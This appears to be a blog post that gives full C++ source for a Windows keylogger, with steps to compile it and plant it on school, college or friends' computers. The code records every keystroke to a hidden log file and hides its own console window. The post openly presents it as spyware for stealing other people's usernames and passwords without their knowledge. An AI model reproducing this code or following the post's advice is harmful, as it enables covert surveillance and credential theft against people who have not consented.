Trick to Create a Keylogger using C++.

A Keylogger is a Spyware Program which can be used to get Username and Password of the Victim. There is a Trick to create a Keylogger using C++. We can Install this Spyware in our College, School or a Friend's System and get Usernames and Passwords of the Users. This Trick is very simple as compared to Phishing and there are many Advantages of Keylogger over Phishing.
Disadvantage of Phishing is that we have to Upload Phishing WebPage to Web Hosting. But only few Website would not Detect the Phishing Webpage and also the Website url is different which is easy to Detect that we are Hacking.
Advantage of Keylogger is that it is very simple easy method and also the Victim can't Detect that we are Hacking him or her.To create Keylogger using C++ we need is C++ Program and follow these simple steps :
1) Open the C++ Compiler.
2) Go to File  >>  New  >>  Source File.
3) Copy and Paste the following Kelogger Code into Blank Work Space :

#include <iostream>
using namespace std;
#include <windows.h>
#include <winuser.h>
int Save (int key_stroke, char *file);
void Stealth();
int main()
{Stealth();
char i;
while (1)
{for(i = 8; i <= 190; i++)
{if (GetAsyncKeyState(i) == -32767)
Save (i,"LOG.txt");}}
system ("PAUSE");
return 0;}
int Save (int key_stroke, char *file)
{if ( (key_stroke == 1) || (key_stroke == 2) )
return 0;
FILE *OUTPUT_FILE;
OUTPUT_FILE = fopen(file, "a+");
cout << key_stroke << endl;
if (key_stroke == 8)
fprintf(OUTPUT_FILE, "%s", "[BACKSPACE]");
else if (key_stroke == 13)
fprintf(OUTPUT_FILE, "%s", "\n");
else if (key_stroke == 32)
fprintf(OUTPUT_FILE, "%s", " ");
else if (key_stroke == VK_TAB)
fprintf(OUTPUT_FILE, "%s", "[TAB]");
else if (key_stroke == VK_SHIFT)
fprintf(OUTPUT_FILE, "%s", "[SHIFT]");
else if (key_stroke == VK_CONTROL)
fprintf(OUTPUT_FILE, "%s", "[CONTROL]");
else if (key_stroke == VK_ESCAPE)
fprintf(OUTPUT_FILE, "%s", "[ESCAPE]");
else if (key_stroke == VK_END)
fprintf(OUTPUT_FILE, "%s", "[END]");
else if (key_stroke == VK_HOME)
fprintf(OUTPUT_FILE, "%s", "[HOME]");
else if (key_stroke == VK_LEFT)
fprintf(OUTPUT_FILE, "%s", "[LEFT]");
else if (key_stroke == VK_UP)
fprintf(OUTPUT_FILE, "%s", "[UP]");
else if (key_stroke == VK_RIGHT)
fprintf(OUTPUT_FILE, "%s", "[RIGHT]");
else if (key_stroke == VK_DOWN)
fprintf(OUTPUT_FILE, "%s", "[DOWN]");
else if (key_stroke == 190 || key_stroke == 110)
fprintf(OUTPUT_FILE, "%s", ".");
else fprintf(OUTPUT_FILE, "%s", &key_stroke);
fclose (OUTPUT_FILE);
return 0;}
void Stealth()
{HWND Stealth;
AllocConsole();
Stealth = FindWindowA("ConsoleWindowClass", NULL);
ShowWindow(Stealth,0);}

4) Now Compile the Code by pressing Ctrl + F9.
5) Now Execute the Program by Selecting Execute  >>  Run or pressing Ctrl + F10.
6) Now the Keylogger will run in the System. Whatever we type using Keyboard would be Stored in Log.txt File in folder where we saved the File.
Now if someone have Physical Access to College or School System, then Copy the .exe File in that System and Run on it.
So it is a simple Trick to create a Keylogger using C++.

0 comments:

Post a Comment

.

m